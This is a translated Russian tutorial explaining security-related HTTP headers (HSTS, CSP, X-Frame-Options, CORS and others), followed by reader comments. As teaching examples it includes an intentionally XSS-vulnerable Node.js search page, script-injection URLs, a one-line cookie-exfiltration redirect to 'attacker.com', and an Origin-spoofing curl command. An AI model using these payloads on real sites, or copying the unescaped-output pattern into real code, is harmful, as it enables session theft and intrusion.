Как усилить защищенность веб-приложений при помощи HTTP заголовков

https://medium.freecodecamp.org/secure-your-web-application-with-these-http-headers-fd66e0367628
  • Перевод
image

Это третья часть серии по веб-безопасности: вторая часть была «Web Security: введение в HTTP», первая "Как работают браузеры — введение в безопасность веб-приложений".

Как мы видели в предыдущих частях этой серии, серверы могут отправлять заголовки HTTP, чтобы предоставить клиенту дополнительные метаданные в ответе, помимо отправки содержимого, запрошенного клиентом. Затем клиентам разрешается указывать, каким образом следует читать, кэшировать или защищать определенный ресурс.

В настоящее время браузеры внедрили очень широкий спектр заголовков, связанных с безопасностью, чтобы злоумышленникам было труднее использовать уязвимости. В этой статье мы попытаемся обсудить каждый из них, объясняя, как они используются, какие атаки они предотвращают, и немного истории по каждому заголовку.

EDISON Software - web-development
Пост написан при поддержке компании EDISON Software, которая бьется за честь российских программмистов и подробно делится своим опытом разработки сложных программных продуктов.

HTTP Strict Transport Security (HSTS)


С конца 2012 года сторонникам “HTTPS Everywhere” стало проще заставить клиента всегда использовать безопасную версию протокола HTTP благодаря Strict Transport Security: очень простая строка Strict-Transport-Security: max-age=3600 скажет браузеру что в течение следующего часа (3600 секунд) он не должен взаимодействовать с приложением по небезопасным протоколам.

Когда пользователь пытается получить доступ к приложению, защищенному с помощью HSTS через HTTP, браузер просто отказывается идти дальше, автоматически преобразовывая URL-адреса http:// в https://.

Вы можете проверить это локально с помощью кода github.com/odino/wasec/tree/master/hsts. Вам нужно будет следовать инструкциям в README (она включают установку доверенного SSL-сертификата для localhost на вашем компьютере с помощью инструмента mkcert), а затем попробуйте открыть https://localhost:7889.

В этом примере 2 сервера: HTTPS, который прослушивает 7889, и HTTP — порт 7888. Когда вы обращаетесь к HTTPS-серверу, он всегда будет пытаться перенаправить вас на версию HTTP, которая будет работать, поскольку HSTS отсутствует на сервере HTTPS. Если вместо этого вы добавите параметр hsts=on в свой URL, браузер принудительно преобразует ссылку в версию https://. Поскольку сервер на 7888 доступен только по протоколу http, вы в конечном итоге будете смотреть на страницу, которая выглядит примерно так.

image

Вам может быть интересно узнать, что происходит, когда пользователь посещает ваш сайт в первый раз, поскольку заранее не определена политика HSTS: злоумышленники потенциально могут обмануть пользователя по версии http:// вашего сайта и провести там атаку, так что еще есть место для проблем. Это серьезная проблема, поскольку HSTS — это механизм доверия при первом использовании. Он пытается убедиться, что после посещения веб-сайта браузер знает, что при последующем взаимодействии должен использоваться HTTPS.

Обойти этот недостаток можно было бы путем поддержки огромной базы данных веб-сайтов, поддерживающих HSTS, что Chrome делает через hstspreload.org. Сначала вы должны установить свою политику, а затем посетить веб-сайт и проверить, может ли он быть добавлен в базу данных. Например, мы можем видеть, что Facebook входит в список.

image

Отправляя свой веб-сайт в этот список, вы можете заранее сообщить браузерам, что ваш сайт использует HSTS, так что даже первое взаимодействие между клиентами и вашим сервером будет осуществляться по безопасному каналу. Но это обходится дорого, так как вам действительно нужно принять участие в HSTS. Если, по какой-либо причине, вы хотите, чтобы ваш веб-сайт был удален из списка, это непростая задача для поставщиков браузеров:
Имейте в виду, что включение в список предварительной загрузки не может быть легко отменен.

Домены могут быть удалены, но для того, чтобы донести до пользователей обновление Chrome, требуются месяцы, и мы не можем дать гарантии относительно других браузеров. Не запрашивайте включение в список, если вы не уверены, что сможете поддерживать HTTPS для всего своего сайта и всех его поддоменов в течение длительного времени.
— Источник: https://hstspreload.org/
Это происходит потому, что поставщик не может гарантировать, что все пользователи будут использовать последнюю версию своего браузера, а ваш сайт будет удален из списка. Хорошо подумайте и примите решение, основываясь на вашей степени доверия к HSTS и вашей способности поддерживать его в долгосрочной перспективе.

HTTP Public Key Pinning (HPKP)


HTTP Public Key Pinning — это механизм, который позволяет нам сообщать браузеру, какие SSL-сертификаты следует ожидать при подключении к нашим серверам. Это заголовок использует механизм доверия при первом использовании, как и HSTS, и означает, что после подключения клиента к нашему серверу он будет хранить информацию о сертификате для последующих взаимодействий. Если в какой-то момент клиент обнаружит, что сервер использует другой сертификат, он вежливо откажется подключиться, что очень затруднит проведение атак типа «человек посередине» (MITM).

Вот как выглядит политика HPKP:

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

Заголовок объявляет, какие сертификаты сервер будет использовать (в данном случае это два из них), используя хэш сертификатов, и включает дополнительную информацию, такую ​​как время жизни этой директивы (max-age = 3600) и несколько других деталей. К сожалению, нет смысла копать глубже, чтобы понять, что мы можем сделать с закреплением открытого ключа, поскольку Chrome не одобряет эту функцию — сигнал о том, что его принятие обречено на провал.

Решение Chrome не является иррациональным, это просто следствие рисков, связанных с закреплением открытого ключа. Если вы потеряете свой сертификат или просто ошибетесь во время тестирования, ваш сайт будет недоступен для пользователей, которые посетили сайт ранее (в течение срока действия директивы max-age, которая обычно составляет недели или месяцы).

В результате этих потенциально катастрофических последствий принятие HPKP было чрезвычайно низким, и были случаи, когда крупные веб-сайты были недоступны из-за неправильной конфигурации. Учитывая все вышесказанное, Chrome решил, что пользователям будет лучше без защиты, предлагаемой HPKP, и исследователи в области безопасности не совсем против этого решения.

Expect-CT


В то время как HPKP осуждался, появился новый заголовок, чтобы предотвратить мошеннические SSL-сертификаты для клиентов: Expect-CT.

Цель этого заголовка — сообщить браузеру, что он должен выполнить дополнительные «фоновые проверки», чтобы убедиться, что сертификат является подлинным: когда сервер использует заголовок Expect-CT, он в основном запрашивает у клиента проверить, что используемые сертификаты находятся в открытых журналах сертификатов прозрачности (CT).

Инициатива по обеспечению прозрачности сертификатов — это усилия, предпринимаемые Google для обеспечения:
Открытой платформы для мониторинга и аудита SSL-сертификатов практически в реальном времени.

В частности, прозрачность сертификатов позволяет обнаруживать сертификаты SSL, которые были ошибочно выданы центром сертификации или злонамеренно получены от другого безупречного центра сертификации. Это также позволяет идентифицировать центры сертификации, которые пошли на мошенничество и злонамеренно выдают сертификаты.
— Источник: https://www.certificate-transparency.org/
Заголовок принимает эту форму:

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

В этом примере сервер просит браузер:

  • включить проверку CT для текущего приложения на период 1 час (3600 секунд)
  • enforce обеспечить соблюдение этой политики и запретить доступ к приложению в случае нарушения
  • отправить отчет по указанному URL-адресу в случае нарушения

Целью инициативы «Прозрачность сертификатов» является обнаружение ошибочно выданных или вредоносных сертификатов (и мошеннических центров сертификации) раньше, быстрее и точнее, чем любой другой метод, использовавшийся ранее.

Включив использование заголовка Expect-CT, вы можете воспользоваться этой инициативой, чтобы улучшить состояние безопасности вашего приложения.

X-Frame-Options


Представьте, что вы видите веб-страницу, подобную этой

image

Как только вы нажимаете на ссылку, вы понимаете, что все деньги на вашем банковском счете исчезли. Что случилось?

Вы были жертвой атаки clickjacking.

Злоумышленник направил вас на свой веб-сайт, на котором отображается очень привлекательная ссылка для нажатия. К сожалению, он также встроил в страницу iframe с your-bank.com/transfer?amount=-1&[attacker@gmail.com], но скрыл его, установив прозрачность на 0%. Мы подумали, что нажали на исходную страницу, пытаясь выиграть совершенно новый хамер, но вместо этого браузер зафиксировал щелчок по iframe, опасный щелчок, который подтвердил перевод денег.

Большинство банковских систем требуют, чтобы вы указали одноразовый PIN-код для подтверждения транзакций, но ваш банк не догнал время, и все ваши деньги пропали.

Пример довольно экстремальный, но он должен дать вам понять, какие могут быть последствия атаки с помощью кликджеккинга. Пользователь намеревается нажать на конкретную ссылку, в то время как браузер вызовет щелчок по «невидимой» странице, которая была встроена в виде фрейма.

Я включил пример этой уязвимости в github.com/odino/wasec/tree/master/clickjacking. Если вы запустите пример и попробуете нажать на «привлекательную» ссылку, вы увидите, что реальный клик перехватывается iframe, что делает его не прозрачным, чтобы вам было легче обнаружить проблему. Пример должен быть доступен по адресу http://localhost:7888.

image

К счастью, браузеры придумали простое решение этой проблемы: X-Frame-Options (XFO), который позволяет вам решить, можно ли встроить ваше приложение в виде iframe на внешних веб-сайтах. Популяризированная Internet Explorer’ом 8, XFO был впервые представлен в 2009 году и до сих пор поддерживается всеми основными браузерами.

Это работает так: когда браузер видит iframe, он загружает его и проверяет, что его XFO позволяет включить его в текущую страницу перед его рендерингом.

image

Поддерживаемые значения:

  • DENY: эта веб-страница нигде не может быть встроена. Это самый высокий уровень защиты, поскольку он никому не позволяет встраивать наш контент.
  • SAMEORIGIN: эту страницу могут вставлять только страницы из того же домена, что и текущий. Это означает, что example.com/embedder может загружать example.com/embedded, если его политика установлена в SAMEORIGIN. Это более спокойная политика, которая позволяет владельцам определенного веб-сайта встраивать свои собственные страницы в свое приложение.
  • ALLOW-FROM uri: вложение разрешено с указанного URI. Мы могли бы, например, позволить внешнему авторизованному веб-сайту встраивать наш контент, используя ALLOW-FROM https://external.com. Обычно это используется, когда вы собираетесь разрешить сторонним разработчикам встраивать ваш контент через iframe

Пример HTTP-ответа, который включает в себя строжайшую возможную политику XFO, выглядит следующим образом:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY

...

Чтобы продемонстрировать, как ведут себя браузеры, когда XFO включен, мы можем просто изменить URL нашего примера на http://localhost:7888 /?xfo=on. Параметр xfo=on указывает серверу включить в ответ X-Frame-Options: deny, и мы можем увидеть, как браузер ограничивает доступ к iframe:

image

XFO считался лучшим способом предотвращения атак с использованием щелчков на основе фреймов до тех пор, пока через несколько лет не вступил в игру еще один заголовок — Content Security Policy или CSP для краткости.

Content Security Policy (CSP)


Заголовок Content-Security-Policy, сокращенно CSP, предоставляет утилиты следующего поколения для предотвращения множества атак, от XSS (межсайтовый скриптинг) до перехвата кликов (клик-джеккинга).

Чтобы понять, как CSP помогает нам, сначала нужно подумать о векторе атаки. Допустим, мы только что создали наш собственный поисковик Google, где есть простое поле для ввода с кнопкой отправки.

image

Это веб-приложение не делает ничего волшебного. Оно просто,

  • отображает форму
  • позволяет пользователю выполнить поиск
  • отображает результаты поиска вместе с ключевым словом, которое искал пользователь

Когда мы выполняем простой поиск, приложение возвращает следующее:

image

Удивительно! Наше приложение невероятно поняло наш поиск и нашло похожее изображение. Если мы углубимся в исходный код, доступный по адресу github.com/odino/wasec/tree/master/xss, мы скоро поймем, что приложение представляет проблему безопасности, поскольку любое ключевое слово, которое ищет пользователь, напрямую печатается в HTML:

var qs = require('querystring')
var url = require('url')
var fs = require('fs')

require('http').createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ''
  let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`

res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))
}).listen(7888)

<html>
  <body>
    <h1>Search The Web</h1>
    <form>
      <input type="text" name="search" value="__KEYWORD__" />
      <input type="submit" />
    </form>
    <div id="results">
      __RESULTS__
    </div>
  </body>
</html>

Это представляет неприятное следствие. Злоумышленник может создать определенную ссылку, которая выполняет произвольный JavaScript в браузере жертвы.

image

Если у вас есть время и терпение, чтобы запустить пример локально, вы сможете быстро понять всю мощь CSP. Я добавил параметр строки запроса, который включает CSP, поэтому мы можем попробовать перейти к вредоносному URL-адресу с включенным CSP:
localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on
image

Как вы видите в приведенном выше примере, мы сказали браузеру, что наша политика CSP допускает только сценарии, включенные из того же источника текущего URL, что мы можем легко проверить, обратившись к URL с помощью curl и просмотрев заголовок ответа:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

Поскольку XSS-атака осуществлялась с помощью встроенного сценария (сценария, непосредственно встроенного в контент HTML), браузер вежливо отказался выполнить его, обеспечивая безопасность нашего пользователя. Представьте, что вместо простого отображения диалогового окна с предупреждением злоумышленник настроил бы перенаправление на свой собственный домен через некоторый код JavaScript, который мог бы выглядеть следующим образом:

window.location = `attacker.com/${document.cookie}`

Они могли бы украсть все пользовательские куки, которые могут содержать очень конфиденциальные данные (подробнее об этом в следующей статье).

К настоящему времени должно быть ясно, как CSP помогает нам предотвращать ряд атак на веб-приложения. Вы определяете политику, и браузер будет строго придерживаться ее, отказываясь запускать ресурсы, которые будут нарушать политику.

Интересным вариантом CSP является режим только для отчетов. Вместо того чтобы использовать заголовок Content-Security-Policy, вы можете сначала проверить влияние CSP на ваш сайт, сказав браузеру просто сообщать об ошибках, не блокируя выполнение скрипта и т. д., Используя заголовок Content-Security-Policy-Report-Only.

Отчеты позволят вам понять, какие критические изменения могут быть вызваны политикой CSP, которую вы хотели бы развернуть, и исправить их соответствующим образом. Мы даже можем указать URL-адрес отчета, и браузер отправит нам отчет. Вот полный пример политики только для отчетов:

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

Политики CSP сами по себе могут быть немного сложными, например, в следующем примере:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

Эта политика определяет следующие правила:

  • исполняемые скрипты (например, JavaScript) могут быть загружены только из scripts.example.com
  • изображения могут быть загружены из любого источника (img-src: *)
  • видео или аудио контент может быть загружен из двух источников: medias.example.com и medias.legacy.example.com

Как видите, политик может быть много, и если мы хотим обеспечить максимальную защиту для наших пользователей, это может стать довольно утомительным процессом. Тем не менее, написание комплексной политики CSP является важным шагом в направлении добавления дополнительного уровня безопасности для наших веб-приложений.

Для получения дополнительной информации о CSP я бы порекомендовал developer.mozilla.org/en-US/docs/Web/HTTP/CSP.

X-XSS-Protection


Несмотря на то, что он заменен CSP, заголовок X-XSS-Protection обеспечивает аналогичный тип защиты. Этот заголовок используется для смягчения атак XSS в старых браузерах, которые не полностью поддерживают CSP. Этот заголовок не поддерживается Firefox.

Его синтаксис очень похож на то, что мы только что видели:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

Отраженные XSS — это наиболее распространенный тип атаки, когда введенный текст печатается сервером без какой-либо проверки, и именно там этот заголовок действительно решает. Если вы хотите увидеть это сами, я бы порекомендовал попробовать пример по адресу github.com/odino/wasec/tree/master/xss, так как, добавив xss=on к URL, он показывает, что делает браузер, когда защита от XSS включена. Если мы введем в поле поиска вредоносную строку, такую как , браузер вежливо откажется выполнить скрипт и объяснит причину своего решения:

The XSS Auditor refused to execute a script in
'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'
because its source code was found within the request.
The server sent an 'X-XSS-Protection' header requesting this behavior.

Еще более интересным является поведение по умолчанию в Chrome, когда на веб-странице не указана политика CSP или XSS. Сценарий, который мы можем проверить, добавив параметр xss=off в наш URL (http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off):

image

Удивительно, но Chrome достаточно осторожен, чтобы не допустить рендеринга страницы, что затрудняет создание отраженного XSS. Впечатляет, как далеко зашли браузеры.

Feature policy


В июле 2018 года исследователь безопасности Скотт Хельм опубликовал очень интересное сообщение в блоге, в котором подробно описывается новый заголовок безопасности: Feature-Policy.

В настоящее время поддерживается очень немногими браузерами (Chrome и Safari на момент написания этой статьи), этот заголовок позволяет нам определить, включена ли конкретная функция браузера на текущей странице. С синтаксисом, очень похожим на CSP, у нас не должно быть проблем с пониманием того, что означает политика функций, такая как следующая:

Feature-Policy: vibrate 'self'; push *; camera 'none'

Если у нас есть все сомнения, то как эта политика влияет на API браузера, мы можем просто проанализировать ее:

  • vibrate ‘self’: позволит текущей странице использовать vibration API и любому фрейму на текущем сайте.
  • push *: текущая страница и любой фрейм могут использовать API push-уведомлений
  • camera ‘none’: доступ к API камеры запрещен на данной странице и любых фреймах

Политика функций имеет небольшую историю. Если ваш сайт позволяет пользователям, например, делать селфи или записывать аудио, было бы весьма полезно использовать политику, которая ограничивает доступ к API через вашу страницу в других контекстах.

X-Content-Type-Options


Иногда умные функции браузера в конечном итоге наносят нам вред с точки зрения безопасности. Ярким примером является MIME-сниффинг, методика, популярная в Internet Explorer.

MIME-сниффинг — это возможность для браузера автоматически обнаруживать (и исправлять) тип содержимого загружаемого ресурса. Например, мы просим браузер визуализировать изображение /awesome-picture.png, но сервер устанавливает неправильный тип при передаче его браузеру (например, Content-Type: text/plain). Это обычно приводит к тому, что браузер не может правильно отображать изображение.

Чтобы решить эту проблему, IE приложил много усилий, чтобы реализовать функцию MIME-сниффинга: при загрузке ресурса браузер «сканирует» его и, если обнаружит, что тип контента ресурса не тот, который объявлен сервером в заголовке Content-Type, он игнорирует тип, отправленный сервером, и интерпретирует ресурс в соответствии с типом, обнаруженным браузером.

Теперь представьте себе хостинг веб-сайта, который позволяет пользователям загружать свои собственные изображения, и представьте, что пользователь загружает файл /test.jpg, содержащий код JavaScript. Видите, куда это идет? Как только файл загружен, сайт включит его в свой собственный HTML и, когда браузер попытается отобразить документ, он найдет «изображение», которое пользователь только что загрузил. Когда браузер загружает изображение, он обнаруживает, что это скрипт, и запускает его в браузере жертвы.

Чтобы избежать этой проблемы, мы можем установить заголовок X-Content-Type-Options: nosniff, который полностью отключает MIME-сниффинг: тем самым мы сообщаем браузеру, что полностью осознаем, что некоторые файлы могут иметь несоответствие в терминах типа и содержания, и браузер не должен беспокоиться об этом. Мы знаем, что мы делаем, поэтому браузер не должен пытаться угадывать вещи, потенциально создавая угрозу безопасности для наших пользователей.

Cross-Origin Resource Sharing (CORS)


В браузере через JavaScript HTTP-запросы могут запускаться только в одном источнике. Проще говоря, AJAX-запрос от example.com может подключаться только к example.com.

Это связано с тем, что ваш браузер содержит полезную информацию для злоумышленника — файлы cookie, которые обычно используются для отслеживания сеанса пользователя. Представьте, что злоумышленник создаст вредоносную страницу на win-a-hummer.com, которая немедленно вызовет запрос AJAX на your-bank.com. Если вы вошли на веб-сайт банка, злоумышленник сможет выполнить HTTP-запросы с вашими учетными данными, потенциально украсть информацию или, что еще хуже, стереть ваш банковский счет.

Однако в некоторых случаях может потребоваться выполнение запросов AJAX между разными источниками, и именно по этой причине браузеры реализовали Cross Origin Resource Sharing (CORS), набор директив, позволяющих выполнять запросы между доменами.

Механизм, лежащий в основе CORS, довольно сложен, и мы не будем практично рассматривать всю спецификацию, поэтому я сосредоточусь на «урезанной» версии CORS.

Все, что вам нужно знать на данный момент, это то, что с помощью заголовка Access-Control-Allow-Origin ваше приложение сообщает браузеру, то, что можно получать запросы из других источников.

Наиболее удобной формой этого заголовка является Access-Control-Allow-Origin: *, который позволяет любому источнику получать доступ к нашему приложению, но мы можем ограничить его, просто добавив URL-адрес, который мы хотим добавить в белый список, с помощью Access-Control-Allow-Origin: https://example.com.

Если мы посмотрим на пример по адресу github.com/odino/wasec/tree/master/cors, мы увидим, как браузер предотвращает доступ к ресурсу из другого источника. Я настроил пример, чтобы сделать запрос AJAX от test-cors к test-cors-2 и вывести результат операции в браузере. Когда сервер test-cors-2 получает указание использовать CORS, страница работает так, как вы ожидаете. Попробуйте перейти на http://cors-test:7888/?cors=on

image

Но когда мы удаляем параметр cors из URL, браузер вмешивается и запрещает нам доступ к содержимому ответа:

image

Важный аспект, который нам нужно понять, заключается в том, что браузер выполнил запрос, но не позволил клиенту получить к нему доступ. Это чрезвычайно важно, так как это все еще оставляет нас уязвимыми, если наш запрос вызвал бы любой побочный эффект на сервере. Представьте, например, что наш банк разрешил бы перевод денег, просто вызвав ссылку my-bank.com/transfer?amount=1000&from=me&to=attacker. Это было бы катастрофой!

Как мы видели в начале этой статьи, GET-запросы должны быть идемпотентными, но что произойдет, если мы попытаемся инициировать POST-запрос? К счастью, я включил этот сценарий в пример, поэтому мы можем попробовать его, перейдя по адресу http://cors-test:7888/?method=POST:

image

Вместо непосредственного выполнения нашего запроса POST, который потенциально может вызвать серьезные проблемы на сервере, браузер отправил запрос «предварительной проверки». Это не что иное, как запрос OPTIONS к серверу с просьбой проверить, разрешено ли наше происхождение. В этом случае сервер не ответил положительно, поэтому браузер останавливает процесс, и наш запрос POST никогда не достигает цели.

Это говорит нам пару вещей:

  • CORS — это не простая спецификация. Есть немало сценариев, которые нужно иметь в виду, и вы легко можете запутаться в нюансах таких функций, как предварительные запросы.
  • Никогда не выставляйте API, которые изменяют состояние через GET. Злоумышленник может инициировать эти запросы без предварительного запроса, что означает отсутствие защиты вообще.

Исходя из своего опыта, я чувствовал себя более комфортно с настройкой прокси-серверов, которые могут перенаправлять запрос на нужный сервер, все на серверной стороне, а не с помощью CORS. Это означает, что ваше приложение, запущенное на example.com, может настроить прокси на example.com/_proxy/other.com, так что все запросы, относящиеся к _proxy/other.com/*, будут перенаправлены на other.com.

Я завершу свой обзор этой функции здесь, но, если вы заинтересованы в глубоком понимании CORS, у MDN есть очень длинная статья, которая блестяще охватывает всю спецификацию на developer.mozilla.org/en-US/docs/Web/HTTP/CORS.

X-Permitted-Cross-Domain-Policies


Сильно связанные с CORS, X-Permitted-Cross-Domain-Policies нацелены на междоменные политики для продуктов Adobe (а именно, Flash и Acrobat).

Я не буду вдаваться в подробности, так как это заголовок, предназначенный для очень конкретных случаев использования. Короче говоря, продукты Adobe обрабатывают междоменный запрос через файл crossdomain.xml в корневом каталоге домена, на который нацелен запрос, и X-Permitted-Cross-Domain-Policies определяет политики для доступа к этому файлу.

Звучит сложно? Я бы просто предложил добавить X-Permitted-Cross-Domain-Policies: none и игнорировать клиентов, желающих делать междоменные запросы с помощью Flash.

Referrer-Policy


В начале нашей карьеры мы все, вероятно, совершили одну и ту же ошибку. Используйте заголовок Referer, чтобы применить ограничения безопасности на нашем сайте. Если заголовок содержит определенный URL в определенном нами белом списке, мы пропустим пользователей.

Хорошо, может быть, это был не каждый из нас. Но я чертовски уверен, что сделал эту ошибку тогда. Доверие заголовку Referer для предоставления нам достоверной информации о происхождении пользователя. Заголовок был действительно полезным, пока мы не решили, что отправка этой информации на сайты может представлять потенциальную угрозу для конфиденциальности наших пользователей.

Заголовок Referrer-Policy, родившийся в начале 2017 года и в настоящее время поддерживаемый всеми основными браузерами, может использоваться для смягчения этих проблем с конфиденциальностью, сообщая браузеру, что он должен только маскировать URL-адрес в заголовке Referer или вообще его не указывать.

Вот некоторые из наиболее распространенных значений, которые может принимать Referrer-Policy:

  • no-referrer: заголовок Referer будет полностью опущен
  • origin: превращает https://example.com/private-page в https://example.com/
  • same-origin: отправьте Referer на тот же сайт, но пропустите его для всех остальных

Стоит отметить, что существует намного больше вариаций Referred-Policy (strict-origin, no-referrer-when-downgrade и т. д.), Но те, которые я упомянул выше, вероятно, будут охватывать большинство ваших вариантов использования. Если вы хотите лучше понять каждый вариант, который вы можете использовать, я бы рекомендовал перейти на страницу OWASP.

Заголовок Origin очень похож на Referer, так как он отправляется браузером в междоменных запросах, чтобы удостовериться, что вызывающей стороне разрешен доступ к ресурсу в другом домене. Заголовок Origin контролируется браузером, поэтому злоумышленники не смогут вмешаться в него. У вас может возникнуть соблазн использовать его в качестве брандмауэра для вашего веб-приложения: если Origin находится в нашем белом списке, разрешите выполнение запроса.

Однако следует учитывать, что другие HTTP-клиенты, такие как cURL, могут представлять свое собственное происхождение: простой curl -H "Origin: example.com" api.example.com сделает все правила межсетевого экрана на основе origin неэффективными…… и вот почему вы не можете полагаться на Origin (или Referer, как мы только что видели) для создания брандмауэра для защиты от вредоносных клиентов.

Тестирование вашей безопасности


Я хочу завершить эту статью ссылкой на securityheaders.com, невероятно полезный веб-сайт, который позволяет вам убедиться, что в вашем веб-приложении установлены правильные заголовки, связанные с безопасностью. После того, как вы отправите URL, вам будет передана оценка и разбивка заголовок за заголовком. Вот пример отчета для facebook.com:

image

Если вы сомневаетесь в том, с чего начать, securityheaders.com — отличное место, чтобы получить первую оценку.

HTTP с контролем состояния: управление сеансами с файлами cookie


Эта статья должна была познакомить нас с несколькими интересными заголовками HTTP, что позволило бы нам понять, как они укрепляют наши веб-приложения с помощью специфичных для протокола функций, а также немного помощи от основных браузеров.

В следующем посте мы углубимся в одну из самых неправильно понятых функций протокола HTTP: куки.

Рожденные для того, чтобы привести какое-либо состояние в HTTP без сохранения состояния, куки, вероятно, используются (и использовались) каждым из нас для поддержки сеансов в наших веб-приложениях: когда бы ни было какое-либо состояние, которое мы хотели бы сохранить, оно всегда Легко сказать «сохранить его в печенье». Как мы увидим, файлы cookie не всегда являются самыми безопасными из хранилищ, и к ним следует относиться осторожно при работе с конфиденциальной информацией.
  • +33
  • 17,5k
  • 9
Edison
245,00
Изобретаем успех: софт и стартапы
Поделиться публикацией

Похожие публикации

Комментарии 9

    +3
    Вместо непосредственного выполнения нашего запроса POST, который потенциально может вызвать серьезные проблемы на сервере, браузер отправил запрос «предварительной проверки». Это не что иное, как запрос OPTIONS к серверу с просьбой проверить, разрешено ли наше происхождение. В этом случае сервер не ответил положительно, поэтому браузер останавливает процесс, и наш запрос POST никогда не достигает цели.

    Поделитесь, пожалуйста, опытом кто как решал проблему, чтоб сервер ответил положительно на «проверочный» запрос OPTIONS, и чтобы потом все последующие кроссдоменные POST-ы уходили нормально. При этом запросы «сложные», т.е. Content-type: 'application/json'.
    Спасибо.
      +1
      developer.mozilla.org/en-US/docs/Web/HTTP/CORS
      конкретный рецепт зависит от вашего сервера
        0
        Я не компетентен в этом. Знаю лишь то, что на той стороне nginx+php+symfony.

        Заголовки-то мы настроили, json гоняется туда сюда. Но вот как-то «костыльно» выглядит. В дев-консоли все post-запросы отображаются как OPTIONS, и тело запроса/ответа не видно. Зато плюс к секьюрности..)))
        +1
        Ну Гугл как обычно. Теперь целью стал HPKP. Они системно борются с любыми вещами, которые связаны с реальной безопасностью между пользователями и сайтами. Но активно пропихивают любые решения с 3-й стороной. Всё по заветам «верьте нам».

        P.S. Хотя вроде для себя любимых аналог HPKP в Хроме сделали.
          0

          HPKP плохо уживается в корпоративном сегменте, где безопасники склонны контролировать весь трафик и для этого пересобирают его, используя свои сертификаты.

            +1
            С одной стороны это конечно так. А с другой пропихивать тотже QUIC это им совсем не мешает.

            Да и решением для корпоративного сектора мог бы стать механизм «сертифицированного MITM». Смысл в том, что в браузер устанавливается специальный сертификат фирмы, который так и помечается (он может быть только один). И дальше следует разрешение на MITM с этим сертификатом (плюс пользователю показывают предупреждение, что трафик мол просматривается твоей организацией). И всё хорошо.
              0

              У firefox есть настройка 'security.enterprise_roots.enabled', которая по сути это и делает. В Chrome фактически этот режим по умолчанию и чтобы совсем не заморачиваться, запрятали данные о сертификате подальше от пользовательских глаз долой.

                0
                Ну так тогда в чём проблема HPKP и корпоративного сегмента? В нём просто HPKP будет обрабатывать Firewall (или кто там занимается инспекцией трафика), а браузер игнорировать. В домашнем сегменте — проверять будет браузер.

                Весь смысл HPKP избавиться от возможности злоупотребления со стороны CA. Т.к. после первого посещения сайта строиться цепь доверия (хотя схема и не такая как у блокчейна, но сути это не меняет). И даже если CA издаст левый сертификат (а это весьма вероятно, учитывая что у нас все CA могут издавать сертификаты ко всем сайтам) то такой сертификат будет послан нафиг, т.к. его хеш отсутствует в этой цепочке доверия.

                P.S. Опять же где-то слышал что в Хроме зашита защита от выдачи сертификатов на домены Гугла от левых CA (т.е. себя они защищают, т.к. прекрасно всё понимают).
                  0

                  Просто сам подход хоть и выглядит простым, создает больше проблем. Нет ни чего постоянного. Люди ошибаются, сертификаты устаревают, их отзывают, перевыпускают, доверие появляется и теряется — такова реальность. Да и пользователям по правде важнее удобство, чем абстрактная безопасность. Если вдруг перестает работать сайт, а проблема решается лишь обновлением браузера это нонсенс. Для тех кому все это действительнт нужно, в браузерах есть поддержка относительно безопасных схем типа pkcs#11, хотя физическими токенами пользоваться и не так удобно.

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое